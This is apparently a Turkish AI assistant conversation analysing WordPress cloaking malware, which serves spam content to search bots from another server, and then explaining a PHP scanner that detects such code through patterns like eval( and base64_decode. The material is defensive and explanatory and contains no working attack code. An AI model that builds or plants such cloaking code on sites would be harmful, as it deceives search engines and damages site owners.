    • bytespider, ahrefsbot, semrushbot, mj12bot
    2. URL Kontrolü + İçerik Değiştirme
    WordPress'in init hook'una bağlanır. Belirli URL'leri ziyaret eden botlar için gerçek sayfa içeriği yerine başka bir sunucudan içerik çekip gösterir:
    | --- | --- |
    3. Cache Engelleme (send_headers hook)
    Tarayıcı ve proxy cache'ini devre dışı bırakır (no-cache, no-store, must-revalidate) — bu sayede her istekte taze içerik servisi yapılır.
    ⚠️ Tehlike Nedir?
    • Google seni spam sitesi sanır: Botlara casino/bahis/kargo spam sayfaları gösterilirken gerçek kullanıcılar normal sayfayı görür. Bu Google'ı kandırmaya çalışmaktır.
    • SEO sıralamanı mahvedebilir: Google bunu fark ederse sitenizi tamamen arama sonuçlarından çıkarabilir.
    • Siteniz ele geçirilmiş olabilir: Bu kod genellikle hacklenen WordPress sitelerine enjekte edilir.
    ✅ Ne Yapmalısın?
    1. WordPress dosyalarını (özellikle functions.php ve eklenti klasörlerini) tara
    2. Tüm şifreleri değiştir (WordPress admin, FTP, veritabanı)
    3. Wordfence veya Sucuri gibi bir güvenlik eklentisi ile tarama yap
    4. Hosting firmanla iletişime geç
    Bu kod zararlı bir yazılım değil — tam tersine, bir WordPress Malware Tarayıcısıdır! 🛡️
    Bir önceki mesajda analiz ettiğimiz gibi hacklenmiş WordPress sitelerindeki kötü amaçlı kodları tespit etmek için yazılmış bir PHP güvenlik aracıdır.
    🔍 Ne Yapar?

    Bu araç wp-content/plugins, wp-content/themes ve wp-content/uploads klasörlerindeki tüm .php dosyalarını tarar ve şüpheli kodları bulur.

    Tarama Kategorileri


    | --- | --- |

    Nasıl Çalışır?

    1. Baseline oluşturur — İlk çalıştırmada tüm dosyaların MD5 hash'ini kaydeder (scan_baseline.json)
    2. Sonraki taramalarda — Dosyalar değişmişse FILE_CHANGED uyarısı verir
    3. Risk skoru hesaplar — Her dosyaya puan verir (CRITICAL = 10, HIGH = 5, MEDIUM = 2)
    4. Renkli HTML raporu üretir:
    5. scan_report.json dosyasına detaylı rapor kaydeder
    ✅ Bu Kodu Nasıl Kullanırsın?
    1. Bu PHP dosyasını WordPress sitenizin kök dizinine yükleyin (örn. scanner.php)
    2. Tarayıcıdan https://siteniniz.com/scanner.php adresine gidin
    3. Raporu inceleyin
    4. Tarama bittikten sonra bu dosyayı sunucudan silin! (Aksi halde güvenlik açığı olur)
    ⚠️ Önemli: Bu araç yalnızca kendi sitenizde kullanılmalıdır. Başka sunucularda izinsiz çalıştırmak yasadışıdır.
    Evet, tam olarak öyle! 🎯
    İlk attığın kod saldırı (cloaking malware), ikinci attığın kod ise o tür saldırıları tespit etmek için geliştirilmiş bir savunma aracı.
    İlişkisi şöyle:
    | --- | --- | --- |
    Yani ikinci kodun taradığı tehlikeli pattern'lerin başında tam olarak birinci kodun kullandığı teknikler geliyor:
    • eval( → CRITICAL 🔴
    • base64_decode → HIGH 🟠
    • Uzun encoded string → +6 puan 🟠
    Özetle: Birileri sitenizi tam da o ilk kod gibi bir yöntemle hacklemiş olabilir diye, o ikinci tarayıcıyı çalıştırarak benzer zararlı kodları kendi sitenizde arayabilirsiniz. Analiz sayfana da bu iki kodun karşılaştırmasını ekleyebilirim istersen.